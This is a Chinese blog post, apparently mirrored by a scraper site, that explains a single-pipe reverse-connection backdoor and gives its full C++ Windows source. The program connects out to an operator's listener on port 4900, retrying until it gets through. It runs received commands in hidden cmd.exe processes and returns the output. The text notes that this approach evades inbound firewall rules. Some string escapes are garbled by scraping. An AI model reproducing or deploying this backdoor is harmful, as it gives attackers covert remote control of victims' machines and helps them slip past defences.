zoukankan      html  css  js  c++  java
  • 安全之路 —— 单管道反向连接后门解析

    原理简述

    单管道后门相对于双管道后门(参照前面发的Blog),很明显单管道后门使用了“cmd.exe /c [命令]”的用法在进行cmd进程创建时就顺带执行了命令,所以省去了由socket发往cmd的管道。同时笔者为样例程序加上了反向连接的模块,反向连接由宿主机作为client端,操纵者的nc或telnet等作为server端,与前面发的正向连接原理相反,反向连接由宿主机发出连接,可以有效绕过宿主机针对外来连接的防火墙。

    • 单管道原理图例
      单管道原理图例

    C++代码样例

    /*
    *@Author: PeterZ1997
    *@Time: 2018/03/03
    *@Function: 单管道反向连接后门(Default_Port: 4900)
    */
    
    #include <iostream>
    #include <cstdio>
    #include <cstdlib>
    #include <cstring>
    #include <Windows.h>
    #include <winsock.h>
    using namespace std;
    
    #pragma comment(lib,"ws2_32")
    
    HANDLE g_hinputPipe, g_houtputPipe;
    HANDLE g_hThread;
    DWORD g_dwThreadId;
    const unsigned short PORT = 4900;
    const char * REMOTE_ADDR = "127.0.0.1";
    const unsigned int MAXSTR = 255;
    
    //收发信息
    bool sendData(SOCKET sSock, char *cmdline, const char* sockData)
    {
        ZeroMemory(cmdline, MAXSTR);
        SECURITY_ATTRIBUTES sa;
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;
        while (!CreatePipe(&g_houtputPipe, &g_hinputPipe, &sa, 0))
        {
            Sleep(1000);
        }
        Sleep(200);
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        GetStartupInfo(&si);
        si.hStdError = g_hinputPipe;
        si.hStdOutput = g_hinputPipe;
        si.wShowWindow = SW_HIDE;
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        GetSystemDirectory(cmdline, MAXSTR);
        strcat_s(cmdline, MAXSTR, "\cmd.exe /c ");
        strcat_s(cmdline, MAXSTR, sockData);
        while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
        {
            Sleep(1000);
        }
        WaitForSingleObject(pi.hProcess, 10000);
        return true;
    }
    
    //被控端管道信息回传监控
    DWORD WINAPI WatchData(LPVOID lprarm)
    {
        unsigned int g_Ret = 0;
        DWORD dwTotalAvail = 0;
        DWORD realReadLen = 0;
        char readBuffer[4096] = "";
        SOCKET sSock = (SOCKET)lprarm;
        while (true)
        {
            g_Ret = PeekNamedPipe(g_houtputPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
            if (g_Ret && dwTotalAvail > 0)
            {
                Sleep(300);
                g_Ret = ReadFile(g_houtputPipe, readBuffer, 4096, &realReadLen, NULL);
                if (g_Ret && realReadLen > 0)
                {
                    Sleep(200);
                    strcat_s(readBuffer, 4096, "
    (Command)>");
                    send(sSock, readBuffer, strlen(readBuffer), 0);
                    ZeroMemory(readBuffer, 4096);
                }
            }
        }
        return 0;
    }
    
    //主函数
    int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
    {
        char sendError[30] = "[*] Send Error !
    
    ";
        const char * welRow = "=====> Hello,Guy ~ <=====
    
    (Command)>";
        char cmdline[MAXSTR] = "";
        char sockData[MAXSTR] = "";
        int sockDataLen = 0;
        SOCKET sSock;
        sockaddr_in sockAddr;
        WSADATA wsd;
        if (WSAStartup(MAKEWORD(2, 2), &wsd)) return 0;
        if ((sSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return 0;
        sockAddr.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
        sockAddr.sin_family = AF_INET;
        sockAddr.sin_port = htons(PORT);
        while (connect(sSock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == SOCKET_ERROR)
        {
            Sleep(2000);
            continue;
        }
        send(sSock, welRow, strlen(welRow), 0);
        g_hThread = CreateThread(NULL, 0, WatchData, LPVOID(sSock), 0, &g_dwThreadId);
        while (true)
        {
            while ((sockDataLen = recv(sSock, sockData, MAXSTR, 0)) == SOCKET_ERROR)
            {
                Sleep(1000);
            }
            if (!sendData(sSock, cmdline, sockData))
            {
                send(sSock, sendError, strlen(sendError), 0);
            }
            ZeroMemory(sockData, MAXSTR);
        }
        WaitForSingleObject(g_hThread, INFINITE);
        CloseHandle(g_hinputPipe);
        CloseHandle(g_houtputPipe);
        closesocket(sSock);
        WSACleanup();
        ExitProcess(0);
        return 0;
    }
    
  • 相关阅读:
    jmeter_逻辑控制器
    Mysql-10 存储过程
    Mysql-9 视图
    NAS性能测试
    win系统定时任务设置
    服务端监控有哪些客户端链接了服务
    centos8 添加端口号
    centos8下安装gitlab服务
    【Unity】Galgame视觉小说游戏 其脚本解释器的一种实现
    【个人向】ctf比赛出的一道逆向游戏题——GameTime题解
  • 原文地址:https://www.cnblogs.com/csnd/p/12897023.html
Copyright © 2011-2022 走看看